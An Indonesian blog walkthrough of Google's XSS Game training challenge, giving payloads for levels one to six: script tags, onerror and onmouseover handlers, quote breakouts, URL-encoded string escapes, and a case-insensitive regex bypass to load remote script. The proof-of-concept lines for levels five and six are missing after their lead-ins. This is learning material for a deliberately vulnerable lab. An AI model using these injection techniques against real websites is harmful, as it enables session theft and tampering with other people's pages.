Google XSS Game Challenge Solutions


Yow halo exploiter, pada artikel ini saya akan menjelaskan / memberikan solusi untuk menyelesaikan Google XSS Challenge ( https://xss-game.appspot.com ). oke tanpa basa basi langsung saja saya jelaskan. 

Level 1

Ini adalah yang paling jelas dan termudah. Cukup masukkan kode berikut dan kamu selesai:
  • <script>alert(1);</script>

Level 2

Karena <script> tidak berfungsi, kamu harus memikirkan tag lain untuk memicu eksekusi kode JavaScript. Hal pertama yang muncul dalam pikiran adalah menggunakan tag <a href=""> bersama dengan atribut onmouseover. Ini dia:
  • <a href="#" onmouseover="alert(1)">yay</a> atau bisa juga menggunakan 
  • <img src="#" onerror="javascript:alert(1)"/>

Level 3

Nah kali ini saya harus membaca beberapa kode untuk memahami logika aplikasi. Jika kamu beralih kode kamu akan melihat index.html:
[...]
      function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);
[...]
Seperti yang kamu lihat parameter num digunakan untuk menghasilkan tag img. Idenya adalah untuk memecah tanda kutip dan memasukkan beberapa kode javascript licik. Sekali lagi saya telah menggunakan atribut onerror untuk menyisipkan JS. Masukkan ini ke bilah alamat URL dan kamu akan mendapatkan peringatan ():
  • https://xss-game.appspot.com/level3/frame#3' onerror='alert(1)';

Level 4

Ini cukup sulit. Kali ini saya telah mengikuti petunjuk yang diberikan. Setelah konsol JS diaktifkan dan meminta https://xss-game.appspot.com/level4/frame?timer= 'menunjukkan kepada saya keluaran berikut:
SyntaxError: unterminated string literal

startTimer(''');
Jelas sekali lagi ada cara untuk keluar dari fungsi dan menambahkan panggilan peringatan (). Saya sudah mencoba beberapa hal:
  • https://xss-game.appspot.com/level4/frame?timer=');
SyntaxError: unterminated string literal

    startTimer('')');
  • https://xss-game.appspot.com/level4/frame?timer=');
    SyntaxError: unterminated string literal


    startTimer('')');
Dan kemudian saya memutuskan untuk menggunakan beberapa pengkodean URL:% 3B mewakili titik koma.
  • https://xss-game.appspot.com/level4/frame?timer=')%3B
    SyntaxError: unterminated string literal


    startTimer('');');
Saya dapat mengakhiri panggilan dan memasukkan yang lain. Permintaan terakhir:
  • https://xss-game.appspot.com/level4/frame?timer=')%3Balert(1)%3Bvar b=('
yang menghasilkan :
startTimer('');alert(1);var b=('');

Level 5

Yang ini cukup mudah. Pada halaman pertama kamu dapat melihat tautan: https://xss-game.appspot.com/level5/frame/signup?next=confirm. Sekarang mari kita lihat bagaimana parameter selanjutnya ini digunakan di confirm.html:
[...]
<script>
      setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</script>
[...]
Jadi letak window.lokasi berdasarkan parameter berikutnya. Ini adalah kasus khas untuk XSS berbasis DOM. Selain itu yang kami miliki di signup.html:
[...]
<br><br>
    <a href="{{ next }}">Next >></a>
</body>
[...]
Sekali lagi parameter selanjutnya digunakan sebagai target tag. Ok, cukup basa basinya. Inilah PoC nya:

Level 6

Kali ini saya harus mencari untuk meng-host kode JS saya. Jadi saya telah menggunakan pastebin.com untuk meng-host kode jahat saya. Selanjutnya saya melihat kode. Saat kamu dapat membaca tag skrip baru dibuat dan atribut src diatur dengan tepat. Satu-satunya hal yang menarik tentang hal itu: kamu tidak diizinkan memiliki URL yang berisi https ?:
[...]
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }
[...]
Setelah itu teks setelah hash digunakan sebagai script src:
// Load this awesome gadget
scriptEl.src = url;
Pernahkah kamu memperhatikan sesuatu tentang regexp? Tidak?! Serius bukan? Baik. Tidak peka huruf besar-kecil. kamu dapat menghindarinya dengan menggunakan hTTps atau kombinasi lainnya. Jadi PoC terakhir:
see you on next post

0 Comments